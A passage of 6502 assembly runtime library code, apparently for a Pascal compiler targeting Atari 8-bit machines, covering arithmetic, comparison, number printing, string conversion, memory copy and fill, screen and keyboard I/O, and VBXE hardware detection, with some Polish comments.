:STACKORIGIN+STACKWIDTH*3,x bne L4 lda :STACKORIGIN-1+STACKWIDTH*2,x cmp :STACKORIGIN+STACKWIDTH*2,x bne L1 lda :STACKORIGIN-1+STACKWIDTH,x cmp :STACKORIGIN+STACKWIDTH,x bne L1 lda :STACKORIGIN-1,x cmp :STACKORIGIN,x L1 beq L2 bcs L3 lda #$FF ; Set the N flag L2 rts L3 lda #$01 ; Clear the N flag rts L4 bvc L5 eor #$FF ; Fix the N flag if overflow ora #$01 ; Clear the Z flag L5 rts .endp .proc cmpEAX_ECX lda :STACKORIGIN-1+STACKWIDTH*3,x cmp :STACKORIGIN+STACKWIDTH*3,x bne _done lda :STACKORIGIN-1+STACKWIDTH*2,x cmp :STACKORIGIN+STACKWIDTH*2,x bne _done AX_CX lda :STACKORIGIN-1+STACKWIDTH,x cmp :STACKORIGIN+STACKWIDTH,x bne _done lda :STACKORIGIN-1,x cmp :STACKORIGIN,x _done rts .endp .proc cmpSTRING2CHAR lda :STACKORIGIN-1,x sta ztmp8 lda :STACKORIGIN-1+STACKWIDTH,x sta ztmp8+1 lda :STACKORIGIN,x sta ztmp10 ldy #0 lda (ztmp8),y ; if length <> 1 cmp #1 bne fail iny loop lda (ztmp8),y cmp ztmp10 bne fail lda #0 seq fail lda #$ff ldy #1 cmp #0 rts .endp .proc cmpCHAR2STRING lda :STACKORIGIN-1,x sta ztmp8 lda :STACKORIGIN,x sta ztmp10 lda :STACKORIGIN+STACKWIDTH,x sta ztmp10+1 ldy #0 lda (ztmp10),y ; if length <> 1 cmp #1 bne fail iny loop lda (ztmp10),y cmp ztmp8 bne fail lda #0 seq fail lda #$ff ldy #1 cmp #0 rts .endp /* { CompareText compares S1 and S2, the result is the based on substraction of the ascii values of characters in S1 and S2 comparison is case-insensitive case result S1 < S2 < 0 S1 > S2 > 0 S1 = S2 = 0 } function CompareText(const S1, S2: string): Integer; overload; var i, count, count1, count2: sizeint; Chr1, Chr2: byte; P1, P2: PChar; begin Count1 := Length(S1); Count2 := Length(S2); if (Count1>Count2) then Count := Count2 else Count := Count1; i := 0; if count>0 then begin P1 := @S1[1]; P2 := @S2[1]; while i < Count do begin Chr1 := byte(p1^); Chr2 := byte(p2^); if Chr1 <> Chr2 then begin if Chr1 in [97..122] then dec(Chr1,32); if Chr2 in [97..122] then dec(Chr2,32); if Chr1 <> Chr2 then Break; end; Inc(P1); Inc(P2); Inc(I); end; end; if i < Count then result := Chr1-Chr2 else // CAPSIZEINT is no-op if Sizeof(Sizeint)<=SizeOF(Integer) result:=CAPSIZEINT(Count1-Count2); end; */ .proc cmpSTRING lda :STACKORIGIN-1,x sta ztmp8 lda :STACKORIGIN-1+STACKWIDTH,x sta ztmp8+1 lda :STACKORIGIN,x sta ztmp10 lda :STACKORIGIN+STACKWIDTH,x sta ztmp10+1 ldy #0 lda (ztmp10),y sta count2 lda (ztmp8),y sta count1 cmp count2 scc lda count2 sta count cmp #0 beq stop inw ztmp8 inw ztmp10 loop lda (ztmp8),y sub (ztmp10),y bne fail iny cpy #0 count equ *-1 bne loop stop ldy #1 lda #0 count1 equ *-1 sub #0 count2 equ *-1 bcc fail rts fail php ldy #1 plp rts .endp .proc notaBX .rept MAXSIZE lda :STACKORIGIN+#*STACKWIDTH,x eor #$ff sta :STACKORIGIN+#*STACKWIDTH,x .endr rts .endp .proc notBOOLEAN lda :STACKORIGIN,x bne _0 lda #true sne _0 lda #false sta :STACKORIGIN,x rts .endp .proc negBYTE lda #$00 sub :STACKORIGIN,x sta :STACKORIGIN,x lda #$00 sbc #$00 sta :STACKORIGIN+STACKWIDTH,x lda #$00 sbc #$00 sta :STACKORIGIN+STACKWIDTH*2,x lda #$00 sbc #$00 sta :STACKORIGIN+STACKWIDTH*3,x rts .endp .proc negWORD lda #$00 sub :STACKORIGIN,x sta :STACKORIGIN,x lda #$00 sbc :STACKORIGIN+STACKWIDTH,x sta :STACKORIGIN+STACKWIDTH,x lda #$00 sbc #$00 sta :STACKORIGIN+STACKWIDTH*2,x lda #$00 sbc #$00 sta :STACKORIGIN+STACKWIDTH*3,x rts .endp .proc negCARD lda #$00 sub :STACKORIGIN,x sta :STACKORIGIN,x lda #$00 sbc :STACKORIGIN+STACKWIDTH,x sta :STACKORIGIN+STACKWIDTH,x lda #$00 sbc :STACKORIGIN+STACKWIDTH*2,x sta :STACKORIGIN+STACKWIDTH*2,x lda #$00 sbc :STACKORIGIN+STACKWIDTH*3,x sta :STACKORIGIN+STACKWIDTH*3,x rts .endp .proc negBYTE1 lda #$00 sub :STACKORIGIN-1,x sta :STACKORIGIN-1,x lda #$00 sbc #$00 sta :STACKORIGIN-1+STACKWIDTH,x lda #$00 sbc #$00 sta :STACKORIGIN-1+STACKWIDTH*2,x lda #$00 sbc #$00 sta :STACKORIGIN-1+STACKWIDTH*3,x rts .endp .proc negWORD1 lda #$00 sub :STACKORIGIN-1,x sta :STACKORIGIN-1,x lda #$00 sbc :STACKORIGIN-1+STACKWIDTH,x sta :STACKORIGIN-1+STACKWIDTH,x lda #$00 sbc #$00 sta :STACKORIGIN-1+STACKWIDTH*2,x lda #$00 sbc #$00 sta :STACKORIGIN-1+STACKWIDTH*3,x rts .endp .proc negCARD1 lda #$00 sub :STACKORIGIN-1,x sta :STACKORIGIN-1,x lda #$00 sbc :STACKORIGIN-1+STACKWIDTH,x sta :STACKORIGIN-1+STACKWIDTH,x lda #$00 sbc :STACKORIGIN-1+STACKWIDTH*2,x sta :STACKORIGIN-1+STACKWIDTH*2,x lda #$00 sbc :STACKORIGIN-1+STACKWIDTH*3,x sta :STACKORIGIN-1+STACKWIDTH*3,x rts .endp .proc andAL_CL lda :STACKORIGIN-1,x and :STACKORIGIN,x sta :STACKORIGIN-1,x rts .endp .proc andAX_CX .rept 2 lda :STACKORIGIN-1+#*STACKWIDTH,x and :STACKORIGIN+#*STACKWIDTH,x sta :STACKORIGIN-1+#*STACKWIDTH,x .endr rts .endp .proc andEAX_ECX .rept MAXSIZE lda :STACKORIGIN-1+#*STACKWIDTH,x and :STACKORIGIN+#*STACKWIDTH,x sta :STACKORIGIN-1+#*STACKWIDTH,x .endr rts .endp .proc orAL_CL lda :STACKORIGIN-1,x ora :STACKORIGIN,x sta :STACKORIGIN-1,x rts .endp .proc orAX_CX .rept 2 lda :STACKORIGIN-1+#*STACKWIDTH,x ora :STACKORIGIN+#*STACKWIDTH,x sta :STACKORIGIN-1+#*STACKWIDTH,x .endr rts .endp .proc orEAX_ECX .rept MAXSIZE lda :STACKORIGIN-1+#*STACKWIDTH,x ora :STACKORIGIN+#*STACKWIDTH,x sta :STACKORIGIN-1+#*STACKWIDTH,x .endr rts .endp .proc xorAL_CL lda :STACKORIGIN-1,x eor :STACKORIGIN,x sta :STACKORIGIN-1,x rts .endp .proc xorAX_CX .rept 2 lda :STACKORIGIN-1+#*STACKWIDTH,x eor :STACKORIGIN+#*STACKWIDTH,x sta :STACKORIGIN-1+#*STACKWIDTH,x .endr rts .endp .proc xorEAX_ECX .rept MAXSIZE lda :STACKORIGIN-1+#*STACKWIDTH,x eor :STACKORIGIN+#*STACKWIDTH,x sta :STACKORIGIN-1+#*STACKWIDTH,x .endr rts .endp /* .proc iniEAX_ECX_BYTE mva :STACKORIGIN,x ecx mva :STACKORIGIN-1,x eax rts .endp */ .proc iniEAX_ECX_WORD mva :STACKORIGIN,x ecx mva :STACKORIGIN+STACKWIDTH,x ecx+1 mva :STACKORIGIN-1,x eax mva :STACKORIGIN-1+STACKWIDTH,x eax+1 mva #$00 ecx+2 sta ecx+3 sta eax+2 sta eax+3 rts .endp .proc iniEAX_ECX_CARD mva :STACKORIGIN,x ecx mva :STACKORIGIN+STACKWIDTH,x ecx+1 mva :STACKORIGIN+STACKWIDTH*2,x ecx+2 mva :STACKORIGIN+STACKWIDTH*3,x ecx+3 mva :STACKORIGIN-1,x eax mva :STACKORIGIN-1+STACKWIDTH,x eax+1 mva :STACKORIGIN-1+STACKWIDTH*2,x eax+2 mva :STACKORIGIN-1+STACKWIDTH*3,x eax+3 rts .endp .proc movZTMP_aBX mva ZTMP8 :STACKORIGIN-1,x mva ZTMP9 :STACKORIGIN-1+STACKWIDTH,x mva ZTMP10 :STACKORIGIN-1+STACKWIDTH*2,x mva ZTMP11 :STACKORIGIN-1+STACKWIDTH*3,x rts .endp icl '6502\cpu6502_sio.asm' icl '6502\cpu6502_cio.asm' icl '6502\cpu6502_shortint.asm' ; mul / div -> SHORTINT icl '6502\cpu6502_smallint.asm' ; mul / div -> SMALLINT icl '6502\cpu6502_integer.asm' ; mul / div -> INTEGER icl '6502\cpu6502_byte.asm' ; mul / div -> BYTE icl '6502\cpu6502_word.asm' ; mul / div -> WORD icl '6502\cpu6502_cardinal.asm' ; mul / div -> CARDINAL icl '6502\cpu6502_shortreal.asm' ; mul / div -> SHORTREAL Q8.8 icl '6502\cpu6502_real.asm' ; mul / div -> REAL Q24.8 icl '6502\cpu6502_single.asm' ; mul / div -> SINGLE IEEE-754 .proc @printCHAR ldy :STACKORIGIN,x jmp @print .endp .proc @printEOL ldy #eol jmp @print .endp .proc @print (.byte y) .reg txa:pha tya jsr @putchar pla:tax rts .endp .proc @printPCHAR (.word ya) .reg cpy #0 beq empty sta ztmp sty ztmp+1 stx @sp lda #0 sta loop+1 loop ldy #0 lda (ztmp),y beq stop inc loop+1 sne inc ztmp+1 jsr @putchar jmp loop stop ldx #0 @sp equ *-1 empty rts .endp .proc @printSTRING (.word ya) .reg cpy #0 beq empty sta ztmp sty ztmp+1 stx @sp ldy #0 sty loop+1 lda (ztmp),y sta ln inw ztmp loop ldy #0 lda (ztmp),y ; beq stop cpy #0 ln equ *-1 beq stop inc loop+1 jsr @putchar jmp loop stop ldx #0 @sp equ *-1 empty rts .endp .proc @printBOOLEAN lda :STACKORIGIN,x beq _0 _1 lda <_true ldy >_true jmp @printSTRING _0 lda <_false ldy >_false jmp @printSTRING _true dta 4,c'TRUE' _false dta 5,c'FALSE' .endp .proc mov_BYTE_DX mva :STACKORIGIN,x dx mva #$00 dx+1 sta dx+2 sta dx+3 rts .endp .proc mov_WORD_DX mva :STACKORIGIN,x dx mva :STACKORIGIN+STACKWIDTH,x dx+1 mva #$00 dx+2 sta dx+3 rts .endp .proc mov_CARD_DX mva :STACKORIGIN,x dx mva :STACKORIGIN+STACKWIDTH,x dx+1 mva :STACKORIGIN+STACKWIDTH*2,x dx+2 mva :STACKORIGIN+STACKWIDTH*3,x dx+3 rts .endp .proc @printMINUS ldy #'-' jsr @printVALUE.pout jmp negCARD .endp .proc @printSHORTREAL jsr @expandToCARD.SMALL jmp @printREAL .endp .proc @FTOA i = edx fra = ecx hlp = eax exp = ztmp b = ztmp+1 sht = ztmp+2 bit = @buf+64 stx @sp mva :STACKORIGIN,x I sta :STACKORIGIN+9 mva :STACKORIGIN+STACKWIDTH,x I+1 sta :STACKORIGIN+STACKWIDTH+9 mva :STACKORIGIN+STACKWIDTH*2,x I+2 sta :STACKORIGIN+STACKWIDTH*2+9 mva :STACKORIGIN+STACKWIDTH*3,x I+3 sta :STACKORIGIN+STACKWIDTH*3+9 ; Sign bpl skp ldy #'-' jsr @printVALUE.pout skp ; optimize OK (test_3.pas), line = 32 lda :STACKORIGIN+STACKWIDTH*3+9 asl :STACKORIGIN+9 rol :STACKORIGIN+STACKWIDTH+9 rol :STACKORIGIN+STACKWIDTH*2+9 rol @ sta EXP ; Exponent ; optimize OK (test_3.pas), line = 33 lda I sta FRA lda I+1 sta FRA+1 lda I+2 sta FRA+2 lda I+3 sta FRA+3 asl FRA rol FRA+1 rol FRA+2 rol FRA+3 ; optimize OK (test_3.pas), line = 35 lda EXP sub #$7F sta SHT ; optimize OK (test_3.pas), line = 37 ldx #$3f lda #0 sta:rpl bit,x- ; For ; optimize OK (test_3.pas), line = 39 ; sta B tax ; optimize OK (test_3.pas), line = 39 l_01D4 ; lda B ; cmp #$17 cpx #$17 bcc *+7 beq *+5 ; ForToDoProlog jmp l_01EE ; optimize OK (test_3.pas), line = 40 ; lda #$20 ; add B ; tax lda FRA+2 sta BIT+$20,x ; optimize OK (test_3.pas), line = 41 asl FRA rol FRA+1 rol FRA+2 rol FRA+3 ; ForToDoEpilog c_01D4 ; inc B inx seq ; WhileDoEpilog jmp l_01D4 l_01EE b_01D4 ; optimize OK (test_3.pas), line = 44 mva #$80 BIT+$1f ; optimize OK (test_3.pas), line = 46 mva #$00 I sta I+1 sta I+2 sta I+3 ; optimize OK (test_3.pas), line = 47 sta FRA+1 sta FRA+2 sta FRA+3 mva #$01 FRA ; For ; optimize OK (test_3.pas), line = 49 lda SHT add #$1F sta B ; optimize OK (test_3.pas), line = 49 tay l_035B ; lda B ; cmp #$00 ; bcs *+5 ; ForToDoProlog ; jmp l_0375 ; optimize OK (test_3.pas), line = 50 ; ldy B lda BIT,y bpl l_03D7 ; optimize OK (test_3.pas), line = 50 lda I ; Mantissa add FRA sta I lda I+1 adc FRA+1 sta I+1 lda I+2 adc FRA+2 sta I+2 lda I+3 adc FRA+3 sta I+3 ; IfThenEpilog l_03D7 ; optimize OK (test_3.pas), line = 52 asl FRA rol FRA+1 rol FRA+2 rol FRA+3 ; ForToDoEpilog c_035B ; dec B dey ; lda B ; cmp #$ff cpy #$ff seq ; WhileDoEpilog jmp l_035B l_0375 b_035B ; optimize OK (test_3.pas), line = 55 mva #$00 FRA sta FRA+1 sta FRA+2 sta FRA+3 ; optimize OK (test_3.pas), line = 56 sta EXP sta hlp sta hlp+1 lda #$80 sta hlp+2 ; For ; optimize OK (test_3.pas), line = 58 lda SHT add #$20 ; sta B tay ; optimize OK (test_3.pas), line = 58 add #23 sta FORTMP_1273 ; To l_0508 ; ForToDoCondition ; optimize OK (test_3.pas), line = 58 ; lda B ; cmp #0 cpy #0 FORTMP_1273 equ *-1 bcc *+7 beq *+5 ; ForToDoProlog jmp l_0534 ; optimize OK (test_3.pas), line = 59 ; ldy B lda BIT,y bpl l_0596 ; optimize OK (test_3.pas), line = 59 lda FRA add hlp sta FRA lda FRA+1 adc hlp+1 sta FRA+1 lda FRA+2 adc hlp+2 sta FRA+2 ; IfThenEpilog l_0596 lsr hlp+2 ror hlp+1 ror hlp ; ForToDoEpilog c_0508 ; inc B ; inc ptr byte [CounterAddress] iny seq ; WhileDoEpilog jmp l_0508 l_0534 b_0508 :3 mva fra+# fracpart+# mva #6 @float.afterpoint ; wymagana liczba miejsc po przecinku @float #500000 ldx #0 @sp equ *-1 rts .endp .proc @printREAL stx @sp lda :STACKORIGIN+STACKWIDTH*3,x spl jsr @printMINUS jsr mov_CARD_DX mva dx+1 intpart ; intpart := uvalue shr 8 mva dx+2 intpart+1 mva dx+3 intpart+2 mva #$00 intpart+3 sta dx+3 ; fracpart := uvalue and $FF (dx) sta dx+2 sta dx+1 sta fracpart sta fracpart+1 lda dx sta fracpart+2 :4 mva intpart+# dx+# ; integer part mva #4 @float.afterpoint ; wymagana liczba miejsc po przecinku @float #5000 ldx #0 @sp equ *-1 rts intpart .dword .endp .proc @float (.long axy) .reg sty cx stx cx+1 sta cx+2 lda @printVALUE.pout ; print integer part pha jsr @printVALUE pla sta @printVALUE.pout lda #0 sta dx sta dx+1 sta dx+2 sta dx+3 loop lda fracpart+2 bpl skp clc ; lda cx ; spl ; sec lda dx adc cx sta dx lda dx+1 adc cx+1 sta dx+1 lda dx+2 adc cx+2 sta dx+2 ; lda dx+3 ; adc #0 ; sta dx+3 skp lsr cx+2 ror cx+1 ror cx asl fracpart rol fracpart+1 rol fracpart+2 lda cx ora cx+1 ora cx+2 bne loop ldy #'.' jsr @printVALUE.pout :4 mva dx+# fracpart+# lda @printVALUE.pout pha lda #{rts} sta @printVALUE.pout jsr @printVALUE ; floating part length sta cnt pla sta @printVALUE.pout lp lda #0 cnt equ *-1 cmp #4 ; N miejsc po przecinku afterpoint equ *-1 bcs ok ldy #'0' jsr @printVALUE.pout inc cnt bne lp ok :4 mva fracpart+# dx+# jmp @printVALUE ; print floating part .endp .proc @printSHORTINT lda :STACKORIGIN,x spl jsr @printMINUS jmp @printBYTE .endp .proc @printSMALLINT lda :STACKORIGIN+STACKWIDTH,x spl jsr @printMINUS jmp @printWORD .endp .proc @printINT lda :STACKORIGIN+STACKWIDTH*3,x spl jsr @printMINUS jmp @printCARD .endp .proc @printCARD jsr mov_CARD_DX jmp @printVALUE .endp .proc @printWORD jsr mov_WORD_DX jmp @printVALUE .endp .proc @printBYTE jsr mov_BYTE_DX jmp @printVALUE .endp .proc @printVALUE lda dx+3 bne _32bit lda dx+2 bne _24bit lda dx+1 bne _16bit _8bit lda #3 bne l3 _16bit lda #5 bne l3 _24bit lda #8 bne l3 ; prints a 32 bit value to the screen (Graham) _32bit lda #10 l3 sta limit stx @sp ldx #0 stx cnt lp jsr div10 sta tmp,x inx cpx #10 limit equ *-1 bne lp ;ldx #9 dex l1 lda tmp,x bne l2 dex ; skip leading zeros bne l1 l2 lda tmp,x ora #$30 tay jsr pout inc cnt dex bpl l2 mva #{jmp*} pout lda #0 cnt equ *-1 ldx #0 @sp equ *-1 rts pout jmp @print sty @buf+1 pbuf equ *-2 inc pbuf rts tmp .byte 0,0,0,0,0,0,0,0,0,0 .endp ; divides a 32 bit value by 10 ; remainder is returned in akku .proc div10 ldy #32 ; 32 bits lda #0 clc l4 rol @ cmp #10 bcc skip sbc #10 skip rol dx rol dx+1 rol dx+2 rol dx+3 dey bpl l4 rts .endp .proc @hexStr Value = edx Digits = ecx ldx Digits cpx #32 scc ldx #32 stx Digits lda Value jsr hex lda Value+1 jsr hex lda Value+2 jsr hex lda Value+3 jsr hex lda Digits sta @buf rts hex pha and #$f jsr put pla :4 lsr @ put tay lda thex,y sta @buf,x dex rts thex dta c'0123456789ABCDEF' .endp .proc @ValueToStr (.word ya) .reg sta adr sty adr+1 mva #{bit*} @printVALUE.pout mva <@buf+1 @printVALUE.pbuf jsr $ffff adr equ *-2 ldy @printVALUE.pbuf dey sty @buf rts .endp ; ecx isSign ; edx Result .proc @StrToInt (.word ya) .reg sta bp2 sty bp2+1 ldy #0 sty MAIN.SYSTEM.IOResult sty edx sty edx+1 sty edx+2 sty edx+3 lda (bp2),y beq stop sta len inw bp2 lda (bp2),y cmp #'-' sne iny sty ecx l1 lda (bp2),y CLC ADC #$FF-'9' ; make m = $FF ADC #'9'-'0'+1 ; carry set if in range n to m bcs ok lda #106 ; Invalid numeric format sta MAIN.SYSTEM.IOResult bne stop ; reg Y+1 contains the index of the character in S which prevented the conversion ok jsr fmul10 lda (bp2),y sub #$30 sta ztmp lda #$00 sta ztmp+1 sta ztmp+2 sta ztmp+3 jsr fmul10.add32bit iny cpy #0 len equ *-1 bne l1 ldy #$ff lda ecx beq stop jsr negEDX stop iny ; reg Y = 0 conversion successful rts .endp .proc negEDX lda #$00 ; minus sub edx sta edx lda #$00 sbc edx+1 sta edx+1 lda #$00 sbc edx+2 sta edx+2 lda #$00 sbc edx+3 sta edx+3 rts .endp .proc fmul10 asl edx ;multiply by 2 rol edx+1 ;temp store in ZTMP rol edx+2 rol edx+3 lda edx sta ztmp lda edx+1 sta ztmp+1 lda edx+2 sta ztmp+2 lda edx+3 sta ztmp+3 asl edx rol edx+1 rol edx+2 rol edx+3 asl edx rol edx+1 rol edx+2 rol edx+3 add32bit lda edx add ztmp sta edx lda edx+1 adc ztmp+1 sta edx+1 lda edx+2 adc ztmp+2 sta edx+2 lda edx+3 adc ztmp+3 sta edx+3 rts .endp .proc @trunc ldy :STACKORIGIN+STACKWIDTH*3,x spl jsr negCARD mva :STACKORIGIN+STACKWIDTH,x :STACKORIGIN,x mva :STACKORIGIN+STACKWIDTH*2,x :STACKORIGIN+STACKWIDTH,x mva :STACKORIGIN+STACKWIDTH*3,x :STACKORIGIN+STACKWIDTH*2,x mva #$00 :STACKORIGIN+STACKWIDTH*3,x tya spl jsr negCARD rts .endp .proc @round ldy :STACKORIGIN+STACKWIDTH*3,x spl jsr negCARD lda :STACKORIGIN,x // add #$80 cmp #$80 lda :STACKORIGIN+STACKWIDTH,x adc #0 sta :STACKORIGIN,x lda :STACKORIGIN+STACKWIDTH*2,x adc #0 sta :STACKORIGIN+STACKWIDTH,x lda :STACKORIGIN+STACKWIDTH*3,x adc #0 sta :STACKORIGIN+STACKWIDTH*2,x mva #$00 :STACKORIGIN+STACKWIDTH*3,x tya spl jsr negCARD rts .endp .proc @frac ldy :STACKORIGIN+STACKWIDTH*3,x spl jsr negCARD lda #$00 sta :STACKORIGIN+STACKWIDTH,x sta :STACKORIGIN+STACKWIDTH*2,x sta :STACKORIGIN+STACKWIDTH*3,x tya spl jsr negCARD rts .endp .proc @int ldy :STACKORIGIN+STACKWIDTH*3,x spl jsr negCARD lda #$00 sta :STACKORIGIN,x tya spl jsr negCARD rts .endp ;----------------------------; ; Biblioteka procedur ; ; graficznych ; ;----------------------------; ; Autorzy: ; ; Slawomir 'SERO' Ritter, ; ; Jakub Cebula, ; ; Winfried Hofacker ; ;----------------------------; ; Wersja:1.1 DATA:09.01.2008 ; ;----------------------------; @open = $03 ; Otworz kanal @close = $0c ; Zamknij kanal @IDget = $07 ; Narysuj punkt @IDput = $09 ; Narysuj punkt @IDdraw = $11 ; Narysuj linie @IDfill = $12 ; Wypelnij obszar ;------------------------; ;Wy:.Y-numer bledu (1-OK); ; f(N)=1-wystapil blad ; ;------------------------; .proc @COMMAND ldx #$00 scrchn equ *-1 sta iocom,x lda #$00 colscr equ *-1 sta atachr jmp ciov .endp ;------------------------; ; Ustaw tryb ekranu ; ;------------------------; ;We:.X-numer kanalu ; ; (normalnie 0) ; ; .Y-numer trybu (O.S.); ; .A-Ustawiony bit nr :; ; 5-Nie kasowanie ; ; pamieci ekranu ; ; 4-Obecnosc okna ; ; tekstowego ; ; 2-Odczyt z ekranu ; ;------------------------; ;Wy:SCRCHN-numer kanalu ; ; .Y-numer bledu (1-OK) ; ; f(N)=1 wystapil blad ; ;------------------------; @GRAPHICS .proc (.byte x,y,a) .reg sta byte1 sty byte2 stx @COMMAND.scrchn lda #@close jsr xcio lda #0 ; =opcje byte1 equ *-1 ora #8 ; +zapis na ekranie sta ioaux1,x lda #0 byte2 equ *-1 sta ioaux2,x ;=nr.trybu mwa #sname ioadr,x lda #@open xcio sta iocom,x jmp ciov sname dta c'S:',$9b .endp .proc @ata2int asl php cmp #2*$60 bcs @+ sbc #2*$20-1 bcs @+ adc #2*$60 @ plp ror rts .endp /* PUT CHAR Procedura wyprowadza znak na ekran na pozycji X/Y kursora okreslonej przez zmienne odpowiednio COLCRS ($55-$56) i ROWCRS ($54). Zaklada sie, ze obowiazuja przy tym domyslne ustawienia OS-u, to jest ekran jest w trybie Graphics 0, a kanal IOCB 0 jest otwarty dla edytora ekranowego. Wyprowadzenie znaku polega na zaladowaniu jego kodu ATASCII do akumulatora i wykonaniu rozkazu JSR PUTCHR. */ .proc @putchar (.byte a) .reg vbxe bit * ldx #$00 .ifdef MAIN.CRT.TextAttr ora MAIN.CRT.TextAttr .endif tay lda icputb+1,x pha lda icputb,x pha tya rts .endp /* GETLINE Program czeka, az uzytkownik wpisze ciag znak�w z klawiatury i nacisnie klawisz RETURN. Znaki podczas wpisywania sa wyswietlane na ekranie, dzialaja tez normalne znaki kontrolne (odczyt jest robiony z edytora ekranowego). Wywolanie funkcji polega na zaladowaniu adresu, pod jaki maja byc wpisane znaki, do rejestr�w A/Y (mlodszy/starszy) i wykonaniu rozkazu JSR GETLINE. */ .proc @GetLine stx @sp ldx #0 stx MAIN.SYSTEM.EoLn mwa #@buf+1 icbufa,x mwa #$ff icbufl,x ; maks. wielkosc tekstu mva #$05 iccmd,x jsr ciov dew icbufl mva icbufl @buf ; length ldx @buf+1 cpx #EOL bne skp ldx #TRUE stx MAIN.SYSTEM.EoLn skp ldx #0 @sp equ *-1 rts .endp .proc @GetKey getk lda kbcodes ; odczytaj kbcodes cmp #255 ; czy jest znak? beq getk ; nie: czekaj ldy #255 ; daj zna�, �e klawisz sty kbcodes ; zosta� odebrany tay ; kod klawisza jako indeks lda (keydef),y ; do tablicy w ROM-ie rts .endp .proc @moveSTRING (.word ya) .reg sta @move.dst sty @move.dst+1 mva :STACKORIGIN,x @move.src mva :STACKORIGIN+STACKWIDTH,x @move.src+1 ldy #$00 lda (@move.src),y add #1 sta @move.cnt scc iny sty @move.cnt+1 jmp @move .endp .proc @moveSTRING_1 (.word ya) .reg sta @move.dst sty @move.dst+1 mva :STACKORIGIN,x @move.src mva :STACKORIGIN+STACKWIDTH,x @move.src+1 ldy #$00 lda (@move.src),y ; add #1 sta @move.cnt sty @move.cnt+1 inw @move.src jmp @move .endp ; Ullrich von Bassewitz, 2003-08-20 ; Performance increase (about 20%) by ; Christian Krueger, 2009-09-13 .proc @moveu ; assert Y = 0 ptr1 = edx ptr2 = ecx ptr3 = eax stx @sp ldy #0 ldx ptr3+1 ; Get high byte of n beq L2 ; Jump if zero L1: .rept 2 ; Unroll this a bit to make it faster... lda (ptr1),Y ; copy a byte sta (ptr2),Y iny .endr bne L1 inc ptr1+1 inc ptr2+1 dex ; Next 256 byte block bne L1 ; Repeat if any ; the following section could be 10% faster if we were able to copy ; back to front - unfortunately we are forced to copy strict from ; low to high since this function is also used for ; memmove and blocks could be overlapping! ; { L2: ; assert Y = 0 ldx ptr3 ; Get the low byte of n beq done ; something to copy L3: lda (ptr1),Y ; copy a byte sta (ptr2),Y iny dex bne L3 ; } done ldx #0 @sp equ *-1 rts .endp @move .proc (.word ptr1, ptr2, ptr3) .var ptr1 = edx ptr2 = ecx ptr3 = eax src = ptr1 dst = ptr2 cnt = ptr3 cpw ptr2 ptr1 scs jmp @moveu stx @sp ; Copy downwards. Adjust the pointers to the end of the memory regions. lda ptr1+1 add ptr3+1 sta ptr1+1 lda ptr2+1 add ptr3+1 sta ptr2+1 ; handle fractions of a page size first ldy ptr3 ; count, low byte bne @entry ; something to copy? beq PageSizeCopy ; here like bra... @copyByte: lda (ptr1),y sta (ptr2),y @entry: dey bne @copyByte lda (ptr1),y ; copy remaining byte sta (ptr2),y PageSizeCopy: ; assert Y = 0 ldx ptr3+1 ; number of pages beq done ; none? -> done @initBase: dec ptr1+1 ; adjust base... dec ptr2+1 dey ; in entry case: 0 -> FF lda (ptr1),y ; need to copy this 'intro byte' sta (ptr2),y ; to 'land' later on Y=0! (as a result of the '.repeat'-block!) dey ; FF ->FE @copyBytes: .rept 2 ; Unroll this a bit to make it faster... lda (ptr1),y sta (ptr2),y dey .endr @copyEntry: ; in entry case: 0 -> FF bne @copyBytes lda (ptr1),y ; Y = 0, copy last byte sta (ptr2),y dex ; one page to copy less bne @initBase ; still a page to copy? done ldx #0 @sp equ *-1 rts .endp ; Ullrich von Bassewitz, 29.05.1998 ; Performance increase (about 20%) by ; Christian Krueger, 12.09.2009, slightly improved 12.01.2011 .proc @fill (.word ptr1, ptr3 .byte ptr2) .var ptr1 = edx ptr3 = ecx ptr2 = eax txa:pha ldx ptr2 ldy #0 lsr ptr3+1 ; divide number of ror ptr3 ; bytes by two to increase bcc evenCount ; speed (ptr3 = ptr3/2) oddCount: ; y is still 0 here txa ; restore fill value sta (ptr1),y ; save value and increase inc ptr1 ; dest. pointer bne evenCount inc ptr1+1 evenCount: lda ptr1 ; build second pointer section clc adc ptr3 ; ptr2 = ptr1 + (length/2) <- ptr3 sta ptr2 lda ptr1+1 adc ptr3+1 sta ptr2+1 txa ; restore fill value ldx ptr3+1 ; Get high byte of n beq L2 ; Jump if zero ; Set 256/512 byte blocks ; y is still 0 here L1: .rept 2 ; Unroll this a bit to make it faster sta (ptr1),y ; Set byte in lower section sta (ptr2),y ; Set byte in upper section iny .endr bne L1 inc ptr1+1 inc ptr2+1 dex ; Next 256 byte block bne L1 ; Repeat if any ; Set the remaining bytes if any L2: ldy ptr3 ; Get the low byte of n beq leave ; something to set? No -> leave L3: dey sta (ptr1),y ; set bytes in low sta (ptr2),y ; and high section bne L3 ; flags still up to date from dey! leave pla:tax rts ; return .endp /* add strings result -> @buf */ .proc @addString(.word ya) .reg sta ztmp sty ztmp+1 stx @sp ldx @buf inx beq stop ldy #0 lda (ztmp),y sta ile beq stop iny load lda (ztmp),y sta @buf,x iny inx beq stop dec ile bne load stop dex stx @buf ldx #0 @sp equ *-1 rts ile brk .endp /* ----------------------------------------------------------------------- */ .proc @AllocMem(.word ztmp .word ztmp+2) .var jsr swap adw spoint ztmp+2 rts swap txa:pha mwa spoint bp2 ldx #0 ldy #0 loop cpy ztmp+2 bne @+ cpx ztmp+3 beq stop @ lda (bp2),y pha lda (ztmp),y sta (bp2),y pla sta (ztmp),y iny bne loop inc ztmp+1 inc bp2+1 inx jmp loop stop pla:tax rts spoint dta a(PROGRAMSTACK) .endp .proc @FreeMem(.word ztmp .word ztmp+2) .var sbw @AllocMem.spoint ztmp+2 jmp @AllocMem.swap .endp /* ----------------------------------------------------------------------- */ .proc @vbxe_detect ldy #.sizeof(detect)-1 mva:rpl copy,y detect,y- jmp detect copy .local detect,@buf ; ; 2009 by KMK/DLT ; lda #0 sta fxptr lda #$d6 sta fxptr+1 ldy #FX_MEMB jsr ?clr jsr ?try bcc ok inc fxptr+1 jsr ?try bcc ok lda #0 sta fxptr+1 rts ?try ldx $4000 jsr ?chk bcc ?ret inx stx $4000 jsr ?chk dec $4000 ?ret rts ok ldy #VBXE_MINOR ; get core minor version lda (fxptr),y rts ?chk lda #$80 jsr _vbxe_write cpx $4000 bne ?fnd sec .byte $24 ?fnd clc ?clr lda #$00 _vbxe_write sta (fxptr),y rts /* lda #0 ldx #0xd6 sta 0xd640 ; make sure it isn't coincidence lda 0xd640 cmp #0x10 ; do we have major version here? beq VBXE_Detected ; if so, then 